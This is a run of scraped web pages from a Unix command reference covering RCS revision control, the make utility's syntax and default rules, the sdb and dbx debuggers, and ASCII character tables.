$Id: chapter3,v 1.2 92/03/18 17:51:36 daniel Exp Locker: daniel $
$Locker: daniel $
$Log:    chapter3,v $
# Revision 1.2  92/03/18  17:51:36  daniel
# Added section on error-handling
#
# Revision 1.1  92/03/18  16:49:59  daniel
# Initial revision
#

$RCSfile: chapter3,v $

$Revision: 1.2 $

$Source: /projects/new/chapter3,v $

$State: Exp $

18.3.4 Revision Numbering

Unless told otherwise, RCS commands typically operate on the latest revision. Some commands have a -r option that is used to specify a revision number. In addition, many options accept a revision number as an optional argument. (In the command summary, this argument is shown as [R].) Revision numbers consist of up to four fields: release, level, branch, and sequence, but most revisions consist of only the release and level. For example, you can check out revision 1.4 as follows:

co -l -r1.4 ch01

When you check it in again, the new revision will be marked as 1.5. But suppose the edited copy needs to be checked in as the next release. You would type:

ci -r2 ch01

This creates revision 2.1. You can also create a branch from an earlier revision. The following command creates revision 1.4.1.1:

ci -r1.4.1 ch01

Numbers are not the only way to specify revisions, though. You can assign a text label as a revision name, using the -n option of ci or rcs. You can also specify this name in any option that accepts a revision number for an argument. For example, you could check in each of your C programs, using the same label regardless of the current revision number:

ci -u -nPrototype *.c

In addition, RCS version 5.6 lets you specify a $, which means the revision number extracted from the keywords of a working file. For example:

rcsdiff -r$ ch01

compares ch01 to the revision that is checked in. You can also combine names and symbols. The command:

rcs -nDraft:$ ch*

assigns a name to the revision numbers associated with several chapter files.

18.3.5 Specifying the Date

Revisions are timestamped by time and date of check in. Several keyword strings include the date in their values. Dates can be supplied in options to ci, co, and rlog. RCS uses the following date format as its default:

1995/10/16 02:00:00	(year/month/day   time)

The default timezone is Greenwich Mean Time (GMT), which is also referred to as Coordinated Universal Time (UTC). Dates can be supplied in free format. This lets you specify many different styles. Here are some of the more common ones, which show the same time as in the example above:

6:00 pm lt		(assuming today is Oct. 16, 1995)
2:00 AM, Oct. 16, 1995
Mon Oct 16 18:00:00 1995 LT
Mon Oct 16 18:00:00 PST 1995

The uppercase or lowercase "lt" indicates local time (here, Pacific Standard Time). The third line shows ctime format (plus the "LT"); the fourth line is the date command format.

18.3.6 Specifying States

In some situations, particularly programming environments, you want to know the status of a set of revisions. RCS files are marked by a text string that describes their state. The default state is Exp (experimental). Other common choices include Stab (stable) or Rel (released). These words are user-defined and have no special internal meaning. Several keyword strings include the state in their values. In addition, states can be supplied in options to ci, co, rcs, and rlog.

18.3.7 Standard Options

RCS Version 5.6 defines an environment variable RCSINIT, which is used to set up default options for RCS commands. If you set RCSINIT to a space-separated list of options, they will be prepended to the command-line options you supply to any RCS command. Three options are useful to include in RCSINIT: -q, -V, and -x. They can be thought of as standard options because most RCS commands accept them. Note that -V is new in RCS Version 5 and that -x is new in Version 5.6.

-q[R]

Quiet mode; don't show diagnostic output. R specifies a file revision.

-Vn

Emulate version n of RCS; useful when trading files between systems that run different versions. n can be 3, 4, or 5.

-xsuffixes

Specify an alternate list of suffixes for RCS files. Each suffix is separated by a /. On UNIX systems, RCS files normally end with the characters ,v. The -x option provides a workaround for systems that don't allow a , character in filenames.

For example, when depositing a working file into an RCS file, the command:

ci -x,v/ ch01	(second suffix is blank)

searches in order for the RCS filenames:

RCS/ch01,v
ch01,v
RCS/ch01

Previous: 18.2 Basic Operation | UNIX in a Nutshell: System V Edition | Next: 18.4 Conversion Guide for SCCS Users
18.2 Basic Operation | Book Index | 18.4 Conversion Guide for SCCS Users
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.4 Conversion Guide for SCCS Users

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 18.3 General RCS Specifications Chapter 18
The RCS Utility 		Next: 18.5 Alphabetical Summary of Commands

18.4 Conversion Guide for SCCS Users

SCCS commands have functional equivalents to RCS commands. The following table provides a very general guide for SCCS users:

SCCS | RCS
admin | rcs
admin -i | ci
cdc | rcs -m
delta | ci
get | co
prs | ident or rlog
rmdel | rcs -o
sact | rlog
sccsdiff | rcsdiff
unget | co (with overwrite), or ci with rcs -o
what | ident

Previous: 18.3 General RCS Specifications | UNIX in a Nutshell: System V Edition | Next: 18.5 Alphabetical Summary of Commands
18.3 General RCS Specifications | Book Index | 18.5 Alphabetical Summary of Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.5 Alphabetical Summary of Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 18.4 Conversion Guide for SCCS Users Chapter 18
The RCS Utility 		Next: 19. The make Utility

18.5 Alphabetical Summary of Commands

For details on the syntax of keywords, revision numbers, dates, states, and standard options, refer to the previous discussions.

  • ci
  • co
  • ident
  • merge
  • rcs
  • rcsclean
  • rcsdiff
  • rcsfreeze
  • rcsmerge
  • rlog

Previous: 18.4 Conversion Guide for SCCS Users | UNIX in a Nutshell: System V Edition | Next: 19. The make Utility
18.4 Conversion Guide for SCCS Users | Book Index | 19. The make Utility
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] The make Utility

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 18.5 Alphabetical Summary of Commands Chapter 19 Next: 19.2 Description File Lines

19. The make Utility

Contents:
Command-line Syntax
Description File Lines
Macros
Special Target Names
Sample Default Macros, Suffixes, and Rules

This section presents the following topics:

  • Command-line syntax

  • Description file lines

  • Macros

  • Special target names

  • Sample default macros, suffixes, and rules

For a detailed description of make, refer to the Nutshell Handbook, Managing Projects with make.

The make program generates a sequence of commands for execution by the UNIX shell. It uses a table of file dependencies input by the programmer, and with this information, can perform updating tasks automatically for the user. It can keep track of the sequence of commands that create certain files, and the list of files that require other files to be current before they can operate efficiently. When a program is changed, make can create the proper files with a minimum of effort.

19.1 Command-line Syntax

make [options] [targets] [macro definitions]

Options, targets, and macro definitions can appear in any order. Macros definitions are typed as:

name=string

19.1.1 Options

-e

Environment variables will override any macros defined in description files.

-f file

Use file as the description file; a filename of - denotes standard input. -f can be used more than once to concatenate multiple description files. Default file is makefile or Makefile.

-i

Ignore error codes from commands (same as .IGNORE).

-k

Abandon the current entry when it fails, but keep working with unrelated entries.

-n

Print commands but don't execute (used for testing). -n prints lines even if they begin with @ in the description file.

-p

Print macro definitions, suffixes, and target descriptions.

-q

Query; return 0 if file is up-to-date; nonzero otherwise.

-r

Do not use the default rules.

-s

Do not display command lines (same as .SILENT).

-t

Touch the target files, causing them to be updated.

Previous: 18.5 Alphabetical Summary of Commands | UNIX in a Nutshell: System V Edition | Next: 19.2 Description File Lines
18.5 Alphabetical Summary of Commands | Book Index | 19.2 Description File Lines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.2 Description File Lines

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 19.1 Command-line Syntax Chapter 19
The make Utility 		Next: 19.3 Macros

19.2 Description File Lines

Instructions in the description file are interpreted as single lines. If an instruction must span more than one input line, use a backslash (\) at the end of the line so that the next line is considered as a continuation. The description file may contain any of the following types of lines:

blank lines

Blank lines are ignored.

comment lines

A pound sign (#) can be used at the beginning of a line or anywhere in the middle. make ignores everything after the #.

dependency lines

Depending on one or more targets, certain commands that follow will be executed. Possible formats include:

targets : prerequisites
targets :: prerequisites

In the first form, subsequent commands are executed if the prerequisites are met. The second form is a variant that lets you specify the same targets on more than one dependency line. In both forms, if no prerequisites are supplied, then subsequent commands are always executed (whenever any of the targets are specified). No tab should precede any targets. (At the end of a dependency line, you can specify a command, preceded by a semicolon; however, commands are typically entered on their own lines, preceded by a tab.)

suffix rules

These specify that files ending with the first suffix can be prerequisites for files ending with the second suffix (assuming the root filenames are the same). Either of these formats can be used:

.suffix.suffix:
.suffix:

The second form means that the root filename depends on the filename with the corresponding suffix. Commands are grouped below the dependency line and are typed on lines that begin with a tab. If a command is preceded by a hyphen (-), make ignores any error returned. If a command is preceded by an at-sign (@), the command line won't echo on the display (unless make is called with -n).

macro definitions

These have the following form:

name = string

Blank space is optional around the =.

include statements

Similar to the C include directive, these have the form:

include file

Previous: 19.1 Command-line Syntax | UNIX in a Nutshell: System V Edition | Next: 19.3 Macros
19.1 Command-line Syntax | Book Index | 19.3 Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.3 Macros

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 19.2 Description File Lines Chapter 19
The make Utility 		Next: 19.4 Special Target Names

19.3 Macros

This subsection summarizes internal macros, modifiers, string substitution, and special macros.

19.3.1 Internal Macros

$?

The list of prerequisites that have been changed more recently than the current target. Can be used only in normal description file entries - not suffix rules.

$@

The name of the current target, except in description file entries for making libraries, where it becomes the library name. Can be used both in normal description file entries and in suffix rules.

$$@

The name of the current target. Can be used only to the right of the colon in dependency lines.

$<

The name of the current prerequisite that has been modified more recently than the current target. Can be used only in suffix rules and in the .DEFAULT: entry.

$*

The name - without the suffix - of the current prerequisite that has been modified more recently than the current target. Can be used only in suffix rules.

$%

The name of the corresponding .o file when the current target is a library module. Can be used both in normal description file entries and in suffix rules.

19.3.2 Macro Modifiers

Macro modifiers are not available in all variants of make.

D

The directory portion of any internal macro name except $?. Valid uses are:

$(*D)   $$(@D)
$(<D)   ${%D)
$(@D)

F

The file portion of any internal macro name except $?. Valid uses are:

$(*F)   $$(@F)
$(<F)   ${%F}
$(@F)

19.3.3 Macro String Substitution

String substitution is not available in all variants of make.

${macro:s1=s2}

Evaluates to the current definition of ${macro}, after substituting the string s1 for every occurrence of s2 that occurs either immediately before a blank or tab, or at the end of the macro definition.

19.3.4 Macros with Special Handling

SHELL

Sets the shell that interprets commands. If this macro isn't defined in the description file, the value depends on your system. Some UNIX implementations use the shell from the user's environment (as with other macros). Other implementations (including SVR4) set the default SHELL to /bin/sh.

VPATH

(Not available in all variants of make.) Specifies a list of directories to search for prerequisites when they aren't found in the current directory.

Previous: 19.2 Description File Lines | UNIX in a Nutshell: System V Edition | Next: 19.4 Special Target Names
19.2 Description File Lines | Book Index | 19.4 Special Target Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.4 Special Target Names

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 19.3 Macros Chapter 19
The make Utility 		Next: 19.5 Sample Default Macros, Suffixes, and Rules

19.4 Special Target Names

.DEFAULT:

Commands associated with this target are executed if make can't find any description file entries or suffix rules with which to build a requested target.

.IGNORE:

Ignore error codes. Same as the -i option.

.PRECIOUS:

Files you specify for this target are not removed when you send a signal (such as interrupt) that aborts make, or when a command line in your description file returns an error.

.SILENT:

Execute commands but do not echo them. Same as the -s option.

.SUFFIXES:

Suffixes associated with this target are meaningful in suffixes rules. If no suffixes are listed, the existing list of suffix rules are effectively "turned off."

Previous: 19.3 Macros | UNIX in a Nutshell: System V Edition | Next: 19.5 Sample Default Macros, Suffixes, and Rules
19.3 Macros | Book Index | 19.5 Sample Default Macros, Suffixes, and Rules
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.5 Sample Default Macros, Suffixes, and Rules

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 19.4 Special Target Names Chapter 19
The make Utility 		Next: 20. Program Debugging

19.5 Sample Default Macros, Suffixes, and Rules

EDITOR = /usr/bin/vi
TERM = tvi950ns
SHELL = /bin/sh
PATH = .:/bin:/usr/bin:/usr/fred:/usr/local
LOGNAME = fred
HOME = /usr/fred
GFLAGS =
GET = get
ASFLAGS =
AS = as
FFLAGS =
FC = f77
CFLAGS = -O
CC = cc
LDFLAGS =
LD = ld
LFLAGS =
LEX = lex
YFLAGS =
YACC = yacc
MAKE = make
$ = $
MAKEFLAGS = b

.h~.h:
     $(GET) $(GFLAGS) -p $< > $*.h

.s~.a:
     $(GET) $(GFLAGS) -p $< > $*.s
     $(AS) $(ASFLAGS) -o $*.o $*.s
     ar rv $@ $*.o
     -rm -f $*.[so]

.r~.a:
     $(GET) $(GFLAGS) -p $< > $*.r
     $(FC) -c $(FFLAGS) $*.r
     ar rv $@ $*.o
     rm -f $*.[ro]

.e~.a:
     $(GET) $(GFLAGS) -p $< > $*.e
     $(FC) -c $(FFLAGS) $*.e
     ar rv $@ $*.o
     rm -f $*.[eo]

.f~.a:
     $(GET) $(GFLAGS) -p $< > $*.f
     $(FC) -c $(FFLAGS) $*.f
     ar rv $@ $*.o
     rm -f $*.[fo]

.r.a:
     $(FC) -c $(FFLAGS) $<
     ar rv $@ $*.o
     rm -f $*.o

.e.a:
     $(FC) -c $(FFLAGS) $<
     ar rv $@ $*.o
     rm -f $*.o

.f.a:
     $(FC) -c $(FFLAGS) $<
     ar rv $@ $*.o
     rm -f $*.o

.c~.a:
     $(GET) $(GFLAGS) -p $< > $*.c
     $(CC) -c $(CFLAGS) $*.c
     ar rv $@ $*.o
     rm -f $*.[co]

.c.a:
     $(CC) -c $(CFLAGS) $<
     ar rv $@ $*.o
     rm -f $*.o

.l.c:
     $(LEX) $<
     mv lex.yy.c $@

.y~.c:
     $(GET) $(GFLAGS) -p $< > $*.y
     $(YACC) $(YFLAGS) $*.y
     mv y.tab.c $*.c
     -rm -f $*.y

.y.c:
     $(YACC) $(YFLAGS) $<
     mv y.tab.c $@

.l~.o:
     $(GET) $(GFLAGS) -p $< > $*.l
     $(LEX) $(LFLAGS) $*.l
     $(CC) $(CFLAGS) -c lex.yy.c
     rm -f lex.yy.c $*.l
     mv lex.yy.o $*.o

.l.o:
     $(LEX) $(LFLAGS) $<
     $(CC) $(CFLAGS) -c lex.yy.c
     rm lex.yy.c
     mv lex.yy.o $@

.y~.o:
     $(GET) $(GFLAGS) -p $< > $*.y
     $(YACC) $(YFLAGS) $*.y
     $(CC) $(CFLAGS) -c y.tab.c
     rm -f y.tab.c $*.y
     mv y.tab.o $*.o

.y.o:
     $(YACC) $(YFLAGS) $<
     $(CC) $(CFLAGS) -c y.tab.c
     rm y.tab.c
     mv y.tab.o $@

.s~.o:
     $(GET) $(GFLAGS) -p $< > $*.s
     $(AS) $(ASFLAGS) -o $*.o $*.s
     -rm -f $*.s

.s.o:
     $(AS) $(ASFLAGS) -o $@ $<

.r~.o:
     $(GET) $(GFLAGS) -p $< > $*.r
     $(FC) $(FFLAGS) -c $*.r
     -rm -f $*.r

.e~.e:
     $(GET) $(GFLAGS) -p $< > $*.e

.e~.o:
     $(GET) $(GFLAGS) -p $< > $*.e
     $(FC) $(FFLAGS) -c $*.e
     -rm -f $*.e

.f~.f:
     $(GET) $(GFLAGS) -p $< > $*.f

.f~.o:
     $(GET) $(GFLAGS) -p $< > $*.f
     $(FC) $(FFLAGS) -c $*.f
     -rm -f $*.f

.r.o:
     $(FC) $(FFLAGS) -c $<

.e.o:
     $(FC) $(FFLAGS) -c $<

.f.o:
     $(FC) $(FFLAGS) -c $<

.c~.c:
     $(GET) $(GFLAGS) -p $< > $*.c

.c~.o:
     $(GET) $(GFLAGS) -p $< > $*.c
     $(CC) $(CFLAGS) -c $*.c
     -rm -f $*.c

.c.o:
     $(CC) $(CFLAGS) -c $<

.sh~:
     $(GET) $(GFLAGS) -p $< > $*.sh
     cp $*.sh $*
     -rm -f $*.sh

.sh:
     cp $< $@

.r~:
     $(GET) $(GFLAGS) -p $< > $*.r
     $(FC) -n $(FFLAGS) $*.r -o $*
     -rm -f $*.r

.r:
     $(FC) $(FFLAGS) $(LDFLAGS) $< -o $@

.e~:
     $(GET) $(GFLAGS) -p $< > $*.e
     $(FC) -n $(FFLAGS) $*.e -o $*
     -rm -f $*.e

.e:
     $(FC) $(FFLAGS) $(LDFLAGS) $< -o $@

.f~:
     $(GET) $(GFLAGS) -p $< > $*.f
     $(FC) -n $(FFLAGS) $*.f -o $*
     -rm -f $*.f

.f:
     $(FC) $(FFLAGS) $(LDFLAGS) $< -o $@

.c~:
     $(GET) $(GFLAGS) -p $< > $*.c
     $(CC) -n $(CFLAGS) $*.c -o $*
     -rm -f $*.c

.c:
     $(CC) $(CFLAGS) $(LDFLAGS) $< -o $@

.SUFFIXES:
&     .o  .c  .c~  .f  .f~  .e  .e~  .r  .r~
&     .y  .y~  .l  .l~  .s  .s~  .sh  .sh~  .h  .h~

Previous: 19.4 Special Target Names | UNIX in a Nutshell: System V Edition | Next: 20. Program Debugging
19.4 Special Target Names | Book Index | 20. Program Debugging
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] Program Debugging

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 19.5 Sample Default Macros, Suffixes, and Rules Chapter 20 Next: 20.2 The Dbx Debugger

20. Program Debugging

Contents:
The Sdb Debugger
The Dbx Debugger

This section presents the debugging utilities for the UNIX environment:

  • Sdb (available in SVR4 but not Solaris 2.0)

  • Dbx (Solaris 2.0 only)

These debuggers take an executable object file and its corefile-the core image file produced when objfile is executed. The debuggers then provide a controlled environment for the execution of the program.

If objfile and corefile are not specified, a.out is taken as the default object file and core as the default core image file.

Each debugging utility is listed among the UNIX commands in Section 2 of this guide.

20.1 The Sdb Debugger

Sdb, the symbolic debugger, is used for checking assembly programs, executable C and FORTRAN programs, and core files resulting from aborted programs. It has the following command-line syntax:

sdb [options] [objfile [corefile [dir]]]

A - in place of corefile will force sdb to ignore any core image file.

20.1.1 Options

-e

Ignore symbolic data; treat addresses as file offsets.

-s n

Don't stop processes that receive signal number n. See the signal system call for values of n. -s may be used more than once.

-V

Print version information (and exit if no objfile is given).

-w

Make objfile and corefile writable.

-W

Suppress warning messages about older files.

20.1.2 Command Specifiers

In the "Commands" section below, commands use the specifiers m, l, and n. m is the display format of an address. (Addresses are specified by a variable or a line number.) l is the address length. n stands for the line number.

20.1.2.1 Values for m

a

Characters starting at variable's address.

c

Character.

d

Decimal.

f

32-bit floating.

g

64-bit double precision floating.

i

Disassemble machine-language instructions; print address using numbers and symbols.

I

Same as i, but print address using numbers only.

o

Octal.

p

Pointer to procedure.

s

Print character(s) at address pointed to by (string pointer) variable.

u

Unsigned decimal.

x

Hexadecimal.

20.1.2.2 Values for l

Length specifiers are meaningful only with m values of c, d, o, u, or x.

b

One byte.

h

Two bytes (half word).

l

Four bytes (long word).

20.1.3 Commands

Refer to the previous specifiers when reviewing the sdb commands, which are grouped below:

20.1.4 Formatted Printing

t | Print a stack trace.
T | Print the top line of the stack trace.
variable/clm | Print variable according to length l and format m. Number c specifies how much memory (in units of l) to display.
n?lm variable:?lm | Print from a.out and procedure variable according to length l and format m. Default lm is i.
variable=lm n=lm number=lm | Print the address of variable or line number n, in the format specified by l and m. Use the last form to convert number to the format specified by l and m. Default lm is lx.
variable!value | Assign value to variable.
x | Display the machine registers and the machine instructions.
X | Display the machine instructions.

20.1.5 Examining the Source

e | Print name of current file.
eproc | Set current file to file containing procedure proc.
efile | Set current file to file.
edir/ | Append directory dir to directory list.
p | Print current line.
w | Print ten lines surrounding the current line.
z | Print ten lines (starting at current); reset current line to last line.
/regexp/ | Search ahead for regular expression regexp.
?regexp? | Search back for regular expression regexp.
n | Set current line to n and print it.
count+ | Advance count lines; print new current line.
count- | Go back count lines; print new current line.

20.1.6 Executing the Source

n a | Set a breakpoint at line number n and inform the user.
[n] b commands | Set breakpoint at line number n and optionally execute sdb commands (separated by ;) at breakpoint.
[n] c count | Continue after a breakpoint or, if count is given, stop after count breakpoints. If n is specified, set a temporary breakpoint at line number n.
[n] C count | Same as c, but reactivate any signal that stopped program.
n g count | Continue at line number n after a breakpoint. If count is given, ignore count breakpoints.
[count] r args | Run the program with the specified arguments. Ignore count breakpoints.
[count] r | Rerun the program with the previously specified arguments. Ignore count breakpoints.
[count] R | Run the program with the no arguments. Ignore count breakpoints.
[level] [v] | This command is used when single-stepping via s, S, or m. v turns off verbose mode; omit v to turn on verbose mode. If level is omitted, print only source file or function name when either changes; otherwise, set level to 1 (print C source lines before execution) or 2 or higher (print C source lines and assembler statements).
proc(a1,a2,...) | Execute procedure proc with arguments a1, a2, etc. Arguments can be constants, local variable names, or register names. Append /m in order to print the returned value in format m (default is d).

20.1.7 Breakpoint and Program Control

B | Print active breakpoints.
[n] d | Delete breakpoint at line number n.
D | Remove all breakpoints.
i count | Single-step count machine-language instructions.
I count | Same as i, but reactivate any signal that stopped program.
k | Kill the program you're debugging.
l | Print the previous line executed.
M | Print the address maps.
var$m count addr:m count | Single-step count lines until the specified variable or address is modified. Omitting count specifies an infinite count.
q | Exit sdb.
s [count] | Single-step count lines.
S [count] | Same as s, but skip called functions.

20.1.8 Miscellaneous Commands

#text | Supply a text comment ignored by sdb.
!cmd | Execute cmd with sh.
newline | Display the next line or memory location, or disassemble the next instruction.
EOF | Scroll the display ten lines.
< file | Execute commands contained in file.
string | Print a quoted string. C escape characters are recognized.
V | Print the sdb version number.

Previous: 19.5 Sample Default Macros, Suffixes, and Rules | UNIX in a Nutshell: System V Edition | Next: 20.2 The Dbx Debugger
19.5 Sample Default Macros, Suffixes, and Rules | Book Index | 20.2 The Dbx Debugger
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.2 The Dbx Debugger

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 20.1 The Sdb Debugger Chapter 20
Program Debugging 		Next: 21. ASCII Character Set

20.2 The Dbx Debugger

Dbx can be used to debug programs written in C, C++, FORTRAN, and Pascal. Dbx commands can be stored in a start-up .dbxinit file that resides in the current directory or in the user's home directory. These commands are executed just before reading the symbol table. The command-line syntax for dbx is as follows:

dbx [options] [objfile [corefile]]

20.2.1 Options

-c cmd

Run dbx cmd after initialization.

-C

Collect profile data for debugged program.

-e

Echo input commands on standard output.

-i

Act as if standard input is a terminal.

-I dir

Add dir to the directory search path. The dbx command use resets the search path.

-kbd

Debug a program that puts the keyboard in up-down translation mode.

-P file_des

Pipe output to the debugger command via file descriptor file_des. debugger passes this option automatically.

-q

Suppress messages during loading (useful during auto-traceback).

-r

Execute objfile right away, then wait for user response from the keyboard.

-s file

Read initialization commands from start-up file.

-sr tmp

Like -s, but then delete start-up file (tmp).

- pid

Debug a currently running program whose process ID is pid (used mainly for auto-traceback).

20.2.2 Alphabetical Summary of Commands

Within dbx, the most useful commands are run, where, print, and stop. Use help to summarize the available commands. In the listing below, the term func is used to represent either a procedure or a function.

  • alias
  • assign
  • call
  • catch
  • cd
  • clear
  • cont
  • CTRL-C
  • dbxenv
  • debug
  • delete
  • detach
  • display
  • down
  • dump
  • edit
  • file
  • func
  • help
  • history
  • ignore
  • kill
  • language
  • list
  • make
  • modules
  • next
  • nexti
  • print
  • pwd
  • quit
  • replay
  • rerun
  • restore
  • return
  • run
  • save
  • set
  • setenv
  • sh
  • source
  • status
  • step
  • step
  • stepi
  • stop
  • stopi
  • trace
  • tracei
  • unalias
  • undisplay
  • unset
  • up
  • use
  • whatis
  • when
  • where
  • whereis
  • which
  • search
  • addr1/
  • address

Previous: 20.1 The Sdb Debugger | UNIX in a Nutshell: System V Edition | Next: 21. ASCII Character Set
20.1 The Sdb Debugger | Book Index | 21. ASCII Character Set
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 21] ASCII Character Set

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 20.2 The Dbx Debugger Chapter 21

21. ASCII Character Set

This section presents the set of ASCII characters, along with their equivalent values in decimal, octal, and hexadecimal. The first table shows nonprinting characters. This table would be useful when you need to represent nonprinting characters in some printed form, such as octal. For example, the echo and tr commands let you specify characters using octal values of the form \nnn. Also, the od command can be used to display nonprinting characters in a variety of forms.

The second table shows printing characters. This table would be useful when using the commands mentioned above, but also when specifying a range of characters in a pattern-matching construct.

Table 21.1: Nonprinting Characters
Decimal | Octal | Hex | Character | Remark
0 | 000 | 00 | CTRL-@ | NUL (Null prompt)
1 | 001 | 01 | CTRL-A | SOH (Start of heading)
2 | 002 | 02 | CTRL-B | STX (Start of text)
3 | 003 | 03 | CTRL-C | ETX (End of text)
4 | 004 | 04 | CTRL-D | EOT (End of transmission)
5 | 005 | 05 | CTRL-E | ENQ (Enquiry)
6 | 006 | 06 | CTRL-F | ACK (Acknowledge)
7 | 007 | 07 | CTRL-G | BEL (Bell)
8 | 010 | 08 | CTRL-H | BS (Backspace)
9 | 011 | 09 | CTRL-I | HT (Horizontal tab)
10 | 012 | 0A | CTRL-J | LF (Linefeed)
11 | 013 | 0B | CTRL-K | VT (Vertical tab)
12 | 014 | 0C | CTRL-L | NP (New page) or FF (Formfeed)
13 | 015 | 0D | CTRL-M | CR (Carriage return)
14 | 016 | 0E | CTRL-N | SO (Shift out)
15 | 017 | 0F | CTRL-O | SI (Shift in)
16 | 020 | 10 | CTRL-P | DLE (Data link escape)
17 | 021 | 11 | CTRL-Q | DC1 (X-ON)
18 | 022 | 12 | CTRL-R | DC2
19 | 023 | 13 | CTRL-S | DC3 (X-OFF)
20 | 024 | 14 | CTRL-T | DC4
21 | 025 | 15 | CTRL-U | NAK (No acknowledge)
22 | 026 | 16 | CTRL-V | SYN (Synchronous idle)
23 | 027 | 17 | CTRL-W | ETB (End transmission blocks)
24 | 030 | 18 | CTRL-X | CAN (Cancel)
25 | 031 | 19 | CTRL-Y | EM (End of medium)
26 | 032 | 1A | CTRL-Z | SUB (Substitute)
27 | 033 | 1B | CTRL-[ | ESC (Escape)
28 | 034 | 1C | CTRL-\ | FS (File separator)
29 | 035 | 1D | CTRL-] | GS (Group separator)
30 | 036 | 1E | CTRL-^ | RS (Record separator)
31 | 037 | 1F | CTRL-_ | US (Unit separator)
127 | 177 | 7F |  | DEL (Delete or rubout)
Table 21.2: Printing Characters
Decimal | Octal | Hex | Character | Remark
32 | 040 | 20 |  | Space
33 | 041 | 21 | ! | Exclamation Point
34 | 042 | 22 | " | Double quote
35 | 043 | 23 | # | Sharp Sign
36 | 044 | 24 | $ | Dollar Sign
37 | 045 | 25 | % | Percent Sign
38 | 046 | 26 | & | Ampersand
39 | 047 | 27 | ' | Apostrophe
40 | 050 | 28 | ( | Left Parenthesis
41 | 051 | 29 | ) | Right Parenthesis
42 | 052 | 2A | * | Asterisk
43 | 053 | 2B | + | Plus Sign
44 | 054 | 2C | , | Comma
45 | 055 | 2D | - | Hyphen
46 | 056 | 2E | . | Period
47 | 057 | 2F | / | Slash (Virgule)
48 | 060 | 30 | 0 |
49 | 061 | 31 | 1 |
50 | 062 | 32 | 2 |
51 | 063 | 33 | 3 |
52 | 064 | 34 | 4 |
53 | 065 | 35 | 5 |
54 | 066 | 36 | 6 |
55 | 067 | 37 | 7 |
56 | 070 | 38 | 8 |
57 | 071 | 39 | 9 |
58 | 072 | 3A | : | Colon
59 | 073 | 3B | ; | Semicolon
60 | 074 | 3C | < | Left Angle Bracket
61 | 075 | 3D | &= | Equal Sign
62 | 076 | 3E | > | Right Angle Bracket
63 | 077 | 3F | ? | Question Mark
64 | 100 | 40 | @ | "At" Sign
65 | 101 | 41 | A |
66 | 102 | 42 | B |
67 | 103 | 43 | C |
68 | 104 | 44 | D |
69 | 105 | 45 | E |
70 | 106 | 46 | F |
71 | 107 | 47 | G |
72 | 110 | 48 | H |
73 | 111 | 49 | I |
74 | 112 | 4A | J |
75 | 113 | 4B | K |
76 | 114 | 4C | L |
77 | 115 | 4D | M |
78 | 116 | 4E | N |
79 | 117 | 4F | O |
80 | 120 | 50 | P |
81 | 121 | 51 | Q |
82 | 122 | 52 | R |
83 | 123 | 53 | S |
84 | 124 | 54 | T |
85 | 125 | 55 | U |
86 | 126 | 56 | V |
87 | 127 | 57 | W |
88 | 130 | 58 | X |
89 | 131 | 59 | Y |
90 | 132 | 5A | Z |
91 | 133 | 5B | [ | Left Square Bracket
92 | 134 | 5C | \ | Backslash
93 | 135 | 5D | ] | Right Square Bracket
94 | 136 | 5E | &^ | Caret
95 | 137 | 5F | &_ | Underscore
96 | 140 | 60 | ` | Back Quote
97 | 141 | 61 | a |
98 | 142 | 62 | b |
99 | 143 | 63 | c |
100 | 144 | 64 | d |
101 | 145 | 65 | e |
102 | 146 | 66 | f |
103 | 147 | 67 | g |
104 | 150 | 68 | h |
105 | 151 | 69 | i |
106 | 152 | 6A | j |
107 | 153 | 6B | k |
108 | 154 | 6C | l |
109 | 155 | 6D | m |
110 | 156 | 6E | n |
111 | 157 | 6F | o |
112 | 160 | 70 | p |
113 | 161 | 71 | q |
114 | 162 | 72 | r |
115 | 163 | 73 | s |
116 | 164 | 74 | t |
117 | 165 | 75 | u |
118 | 166 | 76 | v |
119 | 167 | 77 | w |
120 | 170 | 78 | x |
121 | 171 | 79 | y |
